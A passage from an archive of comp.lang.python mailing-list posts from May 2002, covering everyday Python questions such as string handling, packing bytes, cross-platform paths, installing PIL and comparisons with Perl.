point. It makes it 'worry-free' in the direction of performance scaling when you can deal with the in-place issues (the kind of issues I'm used to dealing with in scientific computing) at the cost of introducing worries in terms of potentially subtle bugs. A great example of the contrast is the difference in slicing behavior of python lists (a copy operation) versus numeric arrays (an in-place reference). For me, numeric arrays behave the way I want them (fast) but I'm always aware of not stepping on the mine which in-place referencing can be: it buys me speed, but I must be careful. As always, it's a tradeoff. When I said worry-free I was only considering my perspective: scientific computing where performance matters a lot. I'm already so happy to have python's forgiveness and easiness that I don't mind a few places where care must be exterted. It's already allowing me to forgo raw C for many things! But you are right in pointing a different direction for the problem. Cheers, f. From martin at v.loewis.de Sun May 12 14:21:17 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 12 May 2002 20:21:17 +0200 Subject: unknown locale de_DE@euro References: <wpVC8.5595$48.537956@zwoll1.home.nl> <j4r8kj2l4k.fsf@informatik.hu-berlin.de> <HJvD8.13869$48.1363768@zwoll1.home.nl> Message-ID: <m3lmapz0pu.fsf@mira.informatik.hu-berlin.de> vincent wehren <vincent at visualtrans.de> writes: > Since I started off using Python on a win32 environment, locale_langinfo() > had never been an option; Can you please explain what you need this function *for*? I assume "to get the encoding", but that still would not be specific enough for my purposes - then the question is "what do you need the encoding for?" Regards, Martin From nospam at nospam.nospam Tue May 28 21:31:07 2002 From: nospam at nospam.nospam (Max) Date: Wed, 29 May 2002 01:31:07 GMT Subject: Again: gadfly + py2exe HELP really needed References: <RO1I8.87037$CN3.2545029@news2.tin.it> <3cf28f2f.41689171@news.easynews.net> <XqLI8.94123$CN3.2760810@news2.tin.it> <Xns921C711B4A11Bgmcmhypernetcom@199.171.54.214> Message-ID: <vbWI8.98269$zW3.1632160@news1.tin.it> "Gordon McMillan" <gmcm at hypernet.com> ha scritto nel messaggio news:Xns921C711B4A11Bgmcmhypernetcom at 199.171.54.214... [...] > I've seen no indication you saw my earlier post, so I'm sorry! > gadfly has a runtime dependency on a file which *not* > a .py file, and is *not* imported. It is read using > marshal, and it contains the SQL grammar. In fact, this seems a nice information... but i'm not sure i understand what you mean... Maybe you're talking about kjbuckets.pyd? In this case i tried to build without it (since it shouln't be mandatory). If this is not the case, i have no idea which file might be, and what should i do with it once discovered "who" it is... > I haven't used gadfly in a couple years, so you'll have > to hunt down the exact filename and where it's expected > to live. Thanks a lot for the help... Max From noah at noah.org Tue May 7 14:53:47 2002 From: noah at noah.org (Noah Spurrier) Date: Tue, 7 May 2002 11:53:47 -0700 Subject: python: cross-platform? References: <3CD7F74A.197E5CB8@millfilm.co.uk> Message-ID: <017001c1f5f8$852c44d0$0400a8c0@saysyou> Check the docs. They tell what modules work on which systems. You can put an exception wrapper around your entire script and trap "exception ImportError". That will get thrown if you try to import a module that does not exist. This way you can quickly build up a list of troublesome modules during development. Some modules may exist on many platforms, but may not bahave exactly the same way. This is a difficult to solve. I found the higher-level calls in Python to be pretty consistent. Generally POSIX functions behave the same. The lower the level of the call, the less sure you can be. You must create a test suite to test functions for which you are unsure. This is the nature of the world. Even with Java the threads didn't behave the same way on all systems (I'm not sure if they got around this problem in the latest versions with green threads or something). You can manually check for a specific os or a group of os's by using os.name. That will give you the name of the OS for which the os module was built (which is the name of the os that Python is running under). The following names have currently been registered: 'posix', 'nt', 'dos', 'mac', 'os2', 'ce', 'java', 'riscos' I hate writing code that checks for an OS, but at least it's easy to read and easy to maintain. Finally, when dealing with file be sure to use os.path to manipulate file names. And look at os.sep and os.pathsep if you need to know exactly what characters are used to build file paths. Generally you don't need to know if you use os.path module. Always, always, always use os.path. But even in my own scripts I find that I sometimes thoughtless hardcode something like: fullpath = '/tmp/' + filename os.abspath() is always helpful in cleaning up path names. Yours, Noah ----- Original Message ----- From: "Eric Texier" <erict at millfilm.co.uk> Newsgroups: comp.lang.python To: <python-list at python.org> Sent: Tuesday, May 07, 2002 8:48 AM Subject: python: cross-platform? > Is there a guide line for writing cross-platform code in python. I am > dealing with only one os for now but I would like to be sure that I am > using only cross platform code. > Thanks in advance > > From marklists at mceahern.com Wed May 8 12:11:38 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 8 May 2002 11:11:38 -0500 Subject: Comments In-Reply-To: <Pine.LNX.4.33.0205081059490.3639-100000@vampire.cs.utexas.edu> Message-ID: <NCBBLFCOHHDIKCAFGCFBKEMFKOAA.marklists@mceahern.com> [Rajat Chopra] > Does anyone know if Python supports multi-line comments? I believe Java > and C++ (and even non-ANSI C) have /* ... */ for multi-line. Does Python > have anything comparable? Short answer: No. Long answer: Use the triple-quoted string; e.g., def add(x, y): """Return the sum of x and y.""" """ Note: The first string in a method is considered the docstring. This here is effectively a multi-line comment. Fancy, neh? """ return x + y Cheers, // mark From pyth at devel.trillke.net Fri May 24 06:03:58 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 24 May 2002 12:03:58 +0200 Subject: Iterating through two lists In-Reply-To: <3cee0ae6_1@news3.newsgroups.com>; from jblazi@hotmail.com on Fri, May 24, 2002 at 11:56:54AM +0200 References: <3cee0ae6_1@news3.newsgroups.com> Message-ID: <20020524120358.G11253@prim.han.de> jb wrote: > I have two lists, x and y with the property len(x) = len(y). > > I should like to achive this (x is a list of class instances) > > for (a,b) in (x,y): a.f(b) no doubt, you get hundreds of suggestions. pythoneers *love* these kind of tasks :-) for (a,b) in zip(x,y): a.f(b) would be the most straigtforward, i guess. holger From geek+ at andrew.cmu.edu Thu May 9 15:08:48 2002 From: geek+ at andrew.cmu.edu (geek) Date: 09 May 2002 15:08:48 -0400 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <abedn5$9tc$1@panix1.panix.com> References: <mailman.1020697330.27346.python-list@python.org> <3CDAA5A5.D4077E5C@fnal.gov> <abeate$2fo$1@panix1.panix.com> <3CDAB85B.C49BABD9@fnal.gov> <abedn5$9tc$1@panix1.panix.com> Message-ID: <82vg9xp29r.fsf@andrew.cmu.edu> Then <3CDAB85B.C49BABD9 at fnal.gov>, spoke up and said: > David J. Ritchie <ritchie at fnal.gov> wrote: > >David deleted Aahz's attribution: > >> Actually, I have a different point: why are you moving blocks of code? > >It's a matter of writing in which I move from a rough draft to a final > >document (whether code or natural language). > Could you provide an example in which you did this for code? Eh, I do this all the time. It turns out I'm a pretty crappy programmer, so I end up with functions which are "too long". Eventually I'll factor out some code and use cut-and-paste to create a new function. Pretty often I have to indent/dedent to make the old code match the new block. It's no biggie, though, 'cause I use xemacs so I can just C-c < or C-c > as necessary. From phr-n2002a at nightsong.com Wed May 1 20:37:38 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 01 May 2002 17:37:38 -0700 Subject: Packing data References: <3CD0850E.94E6EC5F@uniserve.com> Message-ID: <7xoffz9ygd.fsf@ruckus.brouhaha.com> bvdpoel at uniserve.com writes: > I'm doing some midi stuff and need to pack ints into a byte string. I'm > doing > > def mkstring(var): > ret = "" > for a in var: > ret += chr(a) > return ret > > Which works. But I got to thinking there might be a more efficient way > to to this. So I started to look at array and struct. try this: import array def mkstring(var): a = array.array('B', var) return a.tostring() From peter at engcorp.com Sat May 25 23:03:18 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 26 May 2002 03:03:18 GMT Subject: String problem References: <20020526.064829.1504569917.16939@iprimus.com.au> Message-ID: <20020526.130221.352118606.19451@engcorp.com> Occean wrote: > > Assume that you have an text article. [snip] > you have to read the article into a string called str [snip] > The problem is when you read the article in the string > you have to put "\n\" at the end of each line in order to let the system > know the new line. For example: > str = ' Paint my love, you should paint my love\n\ > It's a picture of thousand sunset \n\ > \n\ > It's a freedom of , a thousand doves\n\' Your question is unclear. When you "read the article into a string" do you mean you are reading it from a file? In that case, the newlines ('\n') should already be on the end of each line. Do you mean you are creating the string statically in the program itself, sort of as in your example? In that case, use the triple-quoted string syntax (after all, you're example above won't work anyway since you have an apostrophe in the middle): str = '''Paint my love, you should paint my love It's a picture of a thousand sunset It's a freedom of, a thousand doves ''' That string will include the newlines as well. Another alternative is this: str = ["Paint my love, you should paint my love", "It's a picture of a thousand sunset", "", "It's a freedom of, a thousand doves", ] str = '\n'.join(str) + '\n' (or, on Python 1.5.2, use str = string.join(str, '\n') + '\n' ) I've added the extra '\n' at the end because your example had it, but you probably don't really need it. -Peter How about i have to write the program to allow user input something and then read the input text into my function in order to save into the file exactly the same what the user typed . For example, "Dear John, I am so glad to see you ..... .... Best Regard John." I tried to work with triple quote """ but it didn't same to help me caused i always missed some line.. I don't want to put ( " " ) or (\n\) in anyline. From arena at pacific.net.sg Mon May 13 22:37:56 2002 From: arena at pacific.net.sg (Matthew Chong) Date: Tue, 14 May 2002 10:37:56 +0800 Subject: How to configure python to work with apache 2.0 ?? Message-ID: <abpta6$us9o$1@engel.scvmaxonline.com.sg> I simply will just to configure python to work with apache 2.0 without using third-party software such as mod_python or pyapache. Because I realised that using the latter, I have to deal with terrible ordeal with compiling with C language. Can someone please tell me how can I just simply run python as cgi in apache 2.0 ? without installing any thirdparty software other than python and apache 2 ?? thank From phr-n2002a at nightsong.com Sat May 11 17:04:11 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 11 May 2002 14:04:11 -0700 Subject: Python SHA-based encryption function, new version References: <7xu1pmxkco.fsf@ruckus.brouhaha.com> <7xbsbt643m.fsf@ruckus.brouhaha.com> <7x1ycpwpqz.fsf@ruckus.brouhaha.com> <B902D148.10C3F%richard@electrophobia.com> Message-ID: <7xheleo0qc.fsf@ruckus.brouhaha.com> Richard Parker <richard at electrophobia.com> writes: > Revision 1.15 appears to have a bug in p2_encrypt - the call to _hmac > appears to be using the ciphertext as the HMAC key and the authentication > key as the message. This can't have been what you intended, right? As it > stands it is insecure. Sigh. I better check it. I'd had a separate function computing the keys and made some mistakes when I inlined it for rev 1.13. I thought I'd fixed it (that's what 1.15 was supposed to be) but I may have missed something. I'll take a look at it later this weekend. I can't mess with it right now. Thanks. From feldspar at ix.netcom.com Sat May 25 09:19:52 2002 From: feldspar at ix.netcom.com (Antaeus Feldspar) Date: Sat, 25 May 2002 10:19:52 -0300 Subject: Python help References: <3cef7001_1@news.iprimus.com.au> <acnsmd$5d8$1@oravannahka.helsinki.fi> <20020525.235415.76065818.2117@iprimus.com.au> Message-ID: <3CEF8F78.1020904@ix.netcom.com> If you are working with an older interpreter, you will need to add the line import string to your code, preferably just below "#!/usr/bin/python". This will import the 'string' module, which contains most of the string manipulation routines, and then to use these routines, you call "string.split(mystring,"|") or something similar. In later versions of python, the string manipulation routines were added directly to the string datatype. Occean wrote: > I tried to use it but i get some error > > #!/usr/bin/python > def splitpart(x): > return x.split(':')[1] > > s = "Student name:Yajen | Class:143 | ID:205851C" > stName, stClass, stId = map(splitpart,s.split('|')) > > print stName > print StClass > print stId > > Errors involked : Traceback (innermost last): > File "./splitPark.py",line 9 ,in? > stName, stClass, stId = map(splitpart,s.split('|')) > AttributeError:'string' object has no attribute 'split' > > In article <acnsmd$5d8$1 at oravannahka.helsinki.fi>, "Jere Kahanpaa" > <kahanpaa at gstar.astro.helsinki.fi> wrote: > > >>tritran <tritran2001 at iprimus.com.au> wrote: >> >>>Assume that i got the string of text such as "Student name:Yajen | >>>Class: 143 | ID:205851C" >>>I like to seperate this line into the 3 varibles like stName, stClass, >>>and stId. How can i do this, can someone help me. Thank a lot >>> >>Simple solution (withot any error checking!): >> >>def splitpart(x): >> return x.split(':')[1] >> >>s = "Student name:Yajen | Class:143 | ID:205851C" stName, stClass, stId >>= map(splitpart,s.split('|')) >> >># Note: Older version require string.split(s,'|') >> >>Jere >> From lucaf_lucaf at FILTROhotmail.com Thu May 16 11:14:22 2002 From: lucaf_lucaf at FILTROhotmail.com (dix) Date: Thu, 16 May 2002 15:14:22 GMT Subject: Python Image Library Installation Problem Message-ID: <i1QE8.50$GI3.1889@nreader2.kpnqwest.net> Hi to all again, I am trying to install the PIL binary distribution for windows. I downloaded the installation file and launched it. It created the directory c:\py22. My python installation is in c:\python22. I copied the DLLs from c:\py22\DLLs to c:\python22\DLLs. I tested the installation as in the PIL handbook in Idle entering just the command: import Image The system returns me the following error: >>> import Image Traceback (most recent call last): File "<pyshell#0>", line 1, in ? import Image ImportError: No module named Image >>> What should I do to correctly install PIL and test the installation? None of the provided examples work, because of the same error. Thanks for any suggestion!! dix From ken at hotmail.com Thu May 30 05:03:04 2002 From: ken at hotmail.com (Ken) Date: Thu, 30 May 2002 19:03:04 +1000 Subject: User input question References: <ad4ovf$tqev9$1@ID-49758.news.dfncis.de> Message-ID: <ad4po3$toqmj$1@ID-49758.news.dfncis.de> "Ken" <ken at hotmail.com> wrote in message news:ad4ovf$tqev9$1 at ID-49758.news.dfncis.de... > Hi, I have a question on user input. Suppose the user need to put in a > search word like this: > > print "<form name=update action=search.cgi method=post>" # I am not sure if > this line is right > print "<br>Search:" > print """<br><input type="text" name="searchword" size=12 value=%s > maxlength=50>""" > print """<input type="SUBMIT" value="SEARCH" name="SEARCH">""" > print """<input type=reset name="reset" value="reset">""" > print "</form> > > How do I pass searchword to another function with header: > > def search_word(word) ? > > Thanks > p.s. i am new to python..... I used to work with C++ > This is the equilvalent C++ code I want to work in python: string s; cin>>s; search_word(s) void search_word(string s){ //do something } Thanks From derek at wedgetail.com Sun May 5 00:54:21 2002 From: derek at wedgetail.com (Derek Thomson) Date: Sun, 05 May 2002 14:54:21 +1000 Subject: Talking to Java from Python? References: <mailman.1020355506.4078.python-list@python.org> Message-ID: <3CD4BAFD.9010305@wedgetail.com> Hi, Etienne Labuschagne wrote: > Hi there, > > This may sound stupid, but is it possible to create a "bridge" .dll > between Python and Java code? I am thinking of something that can be > imported by Python and also by Java (using maybe JNI?) and so be able to > get the two to talk to each other. I know about Jython, but that is > sometimes not the solution. Why? It's worked great for me. I'd like to know what limitations you've encountered, apart from execution speed. > > I know one can use sockets or something like XML-RPC or Soap to get the > two to communicate, but I am hoping for something more along the lines > above. Something more scalable, mature and OO than either of those is CORBA. There are CORBA implementations with Python support, and with Java support. For Python support, go to: http://sourceforge.net/projects/fnorb, or http://omniorb.com For Java: http://jacorb.org is one option, but I believe there is built in CORBA support for Java these days. CORBA has the additional advantage that it is location transparent i.e. you can trivially move your objects to separate hosts without changing your code. Apart from that, I don't think there's much else. The processes are going to have to communicate *somehow*. Regards, Derek. From mhammond at skippinet.com.au Mon May 13 23:17:31 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Tue, 14 May 2002 03:17:31 GMT Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> <Pine.SOL.4.30.0205121645520.7173-100000@mimosa.csv.warwick.ac.uk> <3CDE93AB.4E4607D0@usc.edu> <Pine.SOL.4.30.0205121938110.10525-100000@mimosa.csv.warwick.ac.uk> <3CDEB9F4.3307092E@usc.edu> <3CDEF6AF.7030802@skippinet.com.au> <3CE050D5.A04790B1@usc.edu> Message-ID: <3CE08209.9040908@skippinet.com.au> Rich Pinder wrote: > Firstly, I did try uninstalling, loggin in as root, re'installing - no > difference. (but my user profile is setup so I do have install > priviliges on the machine) > > There isnt really a 'per user' option that I see with this installer > .... but under advanced options you can select 'Admin install' or > 'Non-admin install'. Is this what you're thinking about ? It really > has to do with where you write the .dll's and other stuff executable > stuff. Both would work for any user, but if you're installing, and you > dont have wrtie permissions to system32 directory, 'Non-admin install' > would allow you to still install the software. That is what I was thinking of. If I understand correctly, another side-effect of that option is that HKEY_CURRENT_USER is used rather than HKEY_LOCAL_MACHINE. I am guessing that the 3rd party extensions are looking only on HKLM for the "InstallPath" registry entry and not finding it. I could obviously be off-base though. Mark. From peter at engcorp.com Thu May 23 08:09:47 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 May 2002 08:09:47 -0400 Subject: OT: off-topic References: <ach37l$4fi$1@newsreader.mailgate.org> <3CEC6B59.3E125BF2@replyto.address.invalid> <3CEC784E.4D6A91DF@engcorp.com> <achtuh$geg$1@newsreader.mailgate.org> Message-ID: <3CECDC0B.246B3C62@engcorp.com> Mark Hadfield wrote: > > "Peter Hansen" <peter at engcorp.com> wrote in message > news:3CEC784E.4D6A91DF at engcorp.com... > > Greg Ewing wrote: > > > >> Why stop at a Python-specific solution? Off-topic > >> postings are a problem in all newsgroups, so I > >> propose a single group: > >> > >> news.off-topic > > > > That group already exists, but it's spelled "news.misc". > > > > Either that or "comp.object" .... ;-) > > You're both missing the point. Python people like to have off-topic > discussions with other Python people. Actually, _you_ missed the point (and got personal). Greg and I are "Python people" and we were enjoying having a little off-topic discussion. Now you've joined us! :-) -Peter From kragen at pobox.com Wed May 15 15:58:22 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 15 May 2002 15:58:22 -0400 Subject: __getitem__, __getslice__ question for python 2.2 References: <3CDD412D.3000805@erols.com> <YcfD8.4294$5J3.2128@nwrddc01.gnilink.net> <abstd5$ov$1@bob.news.rcn.net> Message-ID: <83g00t5gkh.fsf@panacea.canonical.org> "Raymond Hettinger" <python at rcn.com> writes: > "logistix" <logstx at bellatlantic.net> wrote > > Also, some people don't like to use isinstance, but I'm not sure how else > to > > tell if you got an int. > > if x != int(x): print 'expected an integer' I don't like to use isinstance; I think in this case you should just use int(theindex), which will raise an exception if the index can't be represented as an integer. From bokr at oz.net Sat May 18 05:08:29 2002 From: bokr at oz.net (Bengt Richter) Date: 18 May 2002 09:08:29 GMT Subject: Unpacking a hex value References: <3CE5A7A7.2060204@hotmail.com> <3CE5B856.D1150BCC@engcorp.com> <3CE5BD65.3000908@hotmail.com> Message-ID: <ac55md$vha$0@216.39.172.122> On Sat, 18 May 2002 02:36:51 GMT, Matthew Diephouse <fokke_wulf at hotmail.com> wrote: >The code is very much like the Perl code I submitted. It is within a >subroutine. > >def hex2bin(input) > output = hex( input ) > output = pack("!l", output) > ... > > From this, I get the error "required argument is not an integer", as >previously stated. There's no other info in the Traceback that's >important. I've tried wrapping output with a call to the int() function, >but that doesn't work either. > >You did get me on the "!l" instead of "l!", but it didn't specify order >in the struct docs, so I was guessing. > Notice that hex in perl and python effectively are inverses of each other: [ 1:47] C:\pywk>python -c "print hex(65539)" 0x10003 [ 1:47] C:\pywk>perl -e "print hex('0x10003')" 65539 So if I understand right I would guess you need something like >>> from struct import pack >>> def hex2bin(input): ... output = int( input, 16) # makes 32-bit native int from hex string ... output = pack("!l", output) # takes native int and packs its bytes into 'network' order string ... return output ... >>> hex2bin('12345678') '\x124Vx' >>> ['%02X' % ord(x) for x in hex2bin('12345678')] # hex values of char seq generated ['12', '34', '56', '78'] Which you can see is the hex values of the characters of the above '\x124Vx' in order, appropriate for stuffing a big-endian long to get the same numeric value: >>> [chr(int(x,16),) for x in ['12', '34', '56', '78']] ['\x12', '4', 'V', 'x'] Note that this is on NT/Pentium, so if we leave out the network '!' we get little endianness: >>> def hex2bin(input): ... output = int( input, 16) ... output = pack("l", output) ... return output ... >>> hex2bin('12345678') 'xV4\x12' >>> ['%02X' % ord(x) for x in hex2bin('12345678')] ['78', '56', '34', '12'] >>> [chr(int(x,16),) for x in ['78', '56', '34', '12']] ['x', 'V', '4', '\x12'] Regards, Bengt Richter From gcordova at hebmex.com Mon May 20 09:31:09 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Mon, 20 May 2002 08:31:09 -0500 Subject: Does Python need "const" ? (Re: PEP 218 Re: ANN: set-0.1 mod ule available) Message-ID: <F7DB8D13DB61D511B6FF00B0D0F06233D9C632@mail.hebmex.com> > [Huaiyu Zhu] > > # const reference to mutable object > > const a = "abc" > > # forbids a = "xyz" > > # allows b = a; a += "uvw"; which would set b to "abcuvw". > > Presumably, you mean: > > > # allows b = a; b += "uvw"; which would set b to "abcuvw". > This seems quite contradictory: You intend "const" to forbid such things as "a = 'xyz'" once it's been binded to "a = 'abc'". But, you say it must permit "a += 'xyz'" so that a will end up as 'abcxyz'. But, strings are immutable objects, so a += operation will effectively bind "a" to an diffrent object, an operation more like: a = "abc" + "xyz" How do you plan to attack the immutable object "problem"? -gustavo From tim.one at comcast.net Fri May 24 21:13:49 2002 From: tim.one at comcast.net (Tim Peters) Date: Fri, 24 May 2002 21:13:49 -0400 Subject: 2**HUGENUMBER Why not optimise it? In-Reply-To: <lkwuttn9k2.fsf@pc150.maths.bris.ac.uk> Message-ID: <LNBBLJKPBEHFEDALKOLCOEPKPHAA.tim.one@comcast.net> [Michael Hudson] > ... > PS: longobject.c is surely the most horrible bit of source in the > Python distribution. I certainly wouldn't want to hack on it. Give it a try! You'd be surprised. A saving grace is that operations on longs are very well defined, and independent of competing Standard Committee whims. For this reason, longobject.c is one of the most #ifdef-free of all the Python modules, and the ifdefs it does suffer (on HAVE_LONG_LONG and Py_USING_UNICODE) don't really have anything to do with longs. So this is a refreshingly Dead Right versus Dead Wrong module. The only *artificial* pain (== not inherent to the subject matter) is due to implementing portable numerics in a language (C) that leaves lots of crucial issues undefined (like how many bits a thing has, and how sign bits work in all cases). It's also one of the more algorithmically interesting modules. Just pray that x_divrem never sprouts a bug <0.89 wink>. From peter at engcorp.com Thu May 30 23:48:32 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 23:48:32 -0400 Subject: Python program problem involving reading a web site. References: <ad6nvd$4mr$1@peabody.colorado.edu> Message-ID: <3CF6F290.ACAA4FEF@engcorp.com> Mike Varney wrote: > > I wrote a quick little program that is supposed to read the html from a web > site and to update the web counter to show another hit. Is there some valid reason for updating a web counter in this way? It smells like the moral equivalent of ballot-stuffing... maybe I'm just missing something. -Peter From julia.bell at jpl.nasa.gov Mon May 13 16:49:46 2002 From: julia.bell at jpl.nasa.gov (Julia Bell) Date: Mon, 13 May 2002 13:49:46 -0700 Subject: Read file from bottom References: <3CE01380.81F9A087@jpl.nasa.gov> <abp8bj$k8d0o$2@ID-99293.news.dfncis.de> Message-ID: <3CE026E9.DAB30A8F@jpl.nasa.gov> Good idea; I never thought of something like that. My initial reaction is that I don't know I exactly how many lines frm the bottom I want. (I currently read the lines, search for data on the lines that meets some trigger criterion, and then start processing the data from there.) But, there still might be something worth thinking about regarding whether it is more efficient to pre-process the data (similar to using 'tail') than to process it as part of my script. Thanks. Julia Bell William Park wrote: > Julia Bell <julia.bell at jpl.nasa.gov> wrote: > > > > > Is there an efficient (and relatively easy - I'm new to Python) way of > > reading the file from the last line backward instead of the first line > > forward? > > > tail | python script.py > > -- > William Park, Open Geometry Consulting, <opengeometry at yahoo.ca> > 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From mutsuura at mutsuura.com Thu May 30 09:42:43 2002 From: mutsuura at mutsuura.com (Attila Horvath) Date: Thu, 30 May 2002 09:42:43 -0400 (EDT) Subject: Where can I find .join() in the docs In-Reply-To: <newscache$0hdxwg$4oi$1@www-neu.dzsh.de> Message-ID: <Pine.LNX.4.30.0205300941100.9158-100000@adams.patriot.net> See: http://diveintopython.org/odbchelper_join.html An EXCELLENT tutorial! On Thu, 30 May 2002, Ruediger Maehl wrote: > Date: Thu, 30 May 2002 15:05:39 +0200 > From: Ruediger Maehl <ruediger.maehl_nospam at web.de> > To: python-list at python.org > Subject: Where can I find .join() in the docs > > Hello Pythoneers, > > could anyone please point me to the piece of documentation > where I can find a description of .join() and all the others? > > R?diger > > > _ Mutsuura Associates, Inc. /\ \ P.O. Box 1238 / \ \ Vienna, VA 22183 / /\ \ \ / / /\ \ \ E-MAIL: contact at mutsuura.com / /_/ \ \ \ WEB: http://www.mutsuura.com / \ \ / \ \ / /\ \ \/ /\ \ \ MAIN:(703)281-9722 / / /\ \/ / /\ \ \ CELL:(703)863-1933 / / / \ / / \ \ \ FAX :(703)281-9744 / / / \/_/ \ \_\ SBA/SDB CERTIFIED \/_/ \/_/ From brueckd at tbye.com Wed May 1 23:43:32 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Wed, 1 May 2002 20:43:32 -0700 (PDT) Subject: Python vs. Perl, which is better to learn? In-Reply-To: <3CCFEA41.E1BD308B@anansispaceworks.com> Message-ID: <Pine.LNX.4.44.0205012013350.20925-100000@ns0.tbye.com> On Wed, 1 May 2002, Terry Hancock wrote: > > My rule is simply: if there's no good reason to use !Python, use > > Python. Now, what's a good reason not to use Python? > > I've got practical examples: I sometimes use Perl as a > "super-sed". The original sed's REs are getting quite > out of date, so it's kind of nice to use Perl's. Doing > the same thing in Python is quite feasible, but will probably > take about an hour longer to make work An hour longer!? >, because you have > to get the import right import re, sys # Time: 2 seconds >, compile the regex myRE = re.compile(RE_STR) # Time: 3 seconds > and figure out > how to get data in data = sys.stdin.read() # Time: 2 seconds or while 1: line = sys.stdin.readline() if not line: break # Time: 6 seconds > and out of the program print whatever # Time: 1 second > All easy stuff, > but extra lines of code, and if you're thumbfingered with > the RE module it takes some time to get right. The only meat left is to figure out the RE_STR, whose syntax will be pretty close to Perl's. So, by your estimate I have about 59 minutes and 50 seconds not to figure out RE_STR, but simply figure out how it would be different from the Perl version. Or, if I already know the Python re syntax, I could just write the re, and I have a decent chance of finishing in about the same time as it would take to write the Perl version. My sample code may seem too contrived, but the read-input-perform-sedlike-processing-and-dump-it problem is pretty common, and I guarantee that it just doesn't take an hour longer than a Perl version to wade through that "overhead". It really is on the order of seconds, if that. > If the project was going to take five minutes to write in > Perl, then that's about 1200% overhead. Particularly > nasty if the lifetime of use is another ten minutes. A counter-example: I don't remember Perl that well, and a sed-like program would take me 5 minutes to do in Python. Because my Perl skills are so out of date, it'd take me TWO HOURS. That's 2400% overhead! <0.1 wink> [snip] > it (this is the Income Tax deadline in the US). I spent > about 30 minutes and got the output to work using Perl. > It was not particularly elegant, but only took about > 10-20 lines of code. [snip] > The same thing would've taken me 3-4 hours in Python > and about 40-50 lines All of your examples point to the fact that you're more comfortable with Perl than Python, and that's fine, but the exact opposite results can be found if a person is more comfortable with Python than Perl; this has nothing to do with whether or not the language is worth learning or using though. There will be times when doing it in Perl is a little faster, and vice versa, but claiming even a hundred percent gain in favor of Perl is pretty FUD-like, IMO. > It seems to me that (with considerable training overhead) > Perl allows you to make these extremely short utterances > of code which do very clever things, do them quickly, > and with little development time (e.g. on the order of > the single usage time, as above) I find that the same is true with Python, with perhaps lower training overhead. We routinely use it for one-off programs and utilities, and literally *never* have one-offs requiring development that you'd measure in hours. That's preposterous. If Perl works well for you on throw away stuff, stick with it, but you're kidding yourself if you think that Python has some inherent development overhead that is going to make more than a few seconds difference. Have fun, -Dave From cliechti at gmx.net Wed May 8 19:45:33 2002 From: cliechti at gmx.net (Chris Liechti) Date: 9 May 2002 01:45:33 +0200 Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <oqn0vaab3t.fsf@titan.progiciels-bpi.ca> <j44rhishiw.fsf@informatik.hu-berlin.de> <mailman.1020884595.5671.python-list@python.org> <m3vg9yjthd.fsf@mira.informatik.hu-berlin.de> Message-ID: <Xns9209122F56B65cliechtigmxnet@62.2.16.82> martin at v.loewis.de (Martin v. Loewis) wrote in news:m3vg9yjthd.fsf at mira.informatik.hu-berlin.de: > PEP 263 will introduce the notion of source encodings - without this, > it wouldn't even be possible to parse the source code, anymore. The > PEP, over months, had a question in it asking whether non-ASCII > identifiers should be allowed (the follow-up question would then be: > which ones?), and nobody ever spoke up requesting such a feature. i wouldn't allow non ASCII chars. not because i don't like them - i write german so i need ??? - but think of someone in a foreign country who just does not have those keys on his keyboard. how is he supposed to enter a variable with such characters? or better use chinese symbols - i don't know what they mean, not even speaking of how to pronounce them. should i enter variable names as pictures, taking my digicam because i can't paint that good by hand? also note Alex's comment about the natural language. how many languages must a programmer learn to work on sources if english isn't sufficient? of course that restriction on characters doesn't need to be for strings and comments. (some comments aren't readable anyway even if you know the language where the words are taken from ;-) (the PEP resticts to identifiers to ASCII only - good) and how many encodings will be allowed? need i have to a zillion code pages on my machine to run modules i find on the net? ok, much from the unicode stuff can be reused, but what for smaller targets, startup time etc. regarding the PEP263. - i think i don't like "coding" it's not the obvious name for me. i'm more used to "encoding" like used with HTML and MIME. - why use ASCII as default encoding in the future and not UTF-8 (or Latin- 1)? ASCII is a subset of UTF8 and it would allow the rest of the world to leave the default when using a unicode aware editor. i think it will become very nasty if you must write the correct encoding in each source file... or is it by intention that smallest available encoding of all is taken to enforce more typing? but basicaly i think the PEP is a good idea. chris -- Chris <cliechti at gmx.net> From pereira at cis.upenn.edu Sat May 18 11:27:21 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Sat, 18 May 2002 11:27:21 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: <mailman.1021685435.8672.python-list@python.org> Message-ID: <B90BEB19.A560%pereira@cis.upenn.edu> On 5/17/02 9:30 PM, in article mailman.1021685435.8672.python-list at python.org, "Christian Tismer" <tismer at tismer.com> wrote: > - There isn't yet an ALT/PRI ALT construct like in OCCAM/ALEF/LIMBO. > This is most sophisticated and very hard to implement correctly! I will > try to find out how to do this the best way, during my stay at IronPort, > from May 18th to May 29. I was once involved in designing a channel facility with an ALT-equivalent, and I found the following paper very useful: Luca Cardelli. An implementation model of rendezvous communication. S.D. Brookes, A.W. Roscoe and G. Winskel. Seminar on Concurrency, Carnegie-Mellon University, Pittsburgh, PA, July 1984. Lecture Notes in Computer Science, Vol. 197, Springer-Verlag, 1985, ISBN 3-540-15670-4. pp 449-457 <http://research.microsoft.com/Users/luca/Papers/Rendezvous.pdf> -- F From juenglin at informatik.uni-freiburg.de Thu May 2 16:50:28 2002 From: juenglin at informatik.uni-freiburg.de (Ralf Juengling) Date: 02 May 2002 22:50:28 +0200 Subject: Is there a way to 'mask out' inherited methods? Message-ID: <xdusn5ae0kr.fsf@gelatine.informatik.uni-freiburg.de> Hi, I'm fiddling around with some new 2.2.-features. I want to inherit from a builtin-type but want to use only 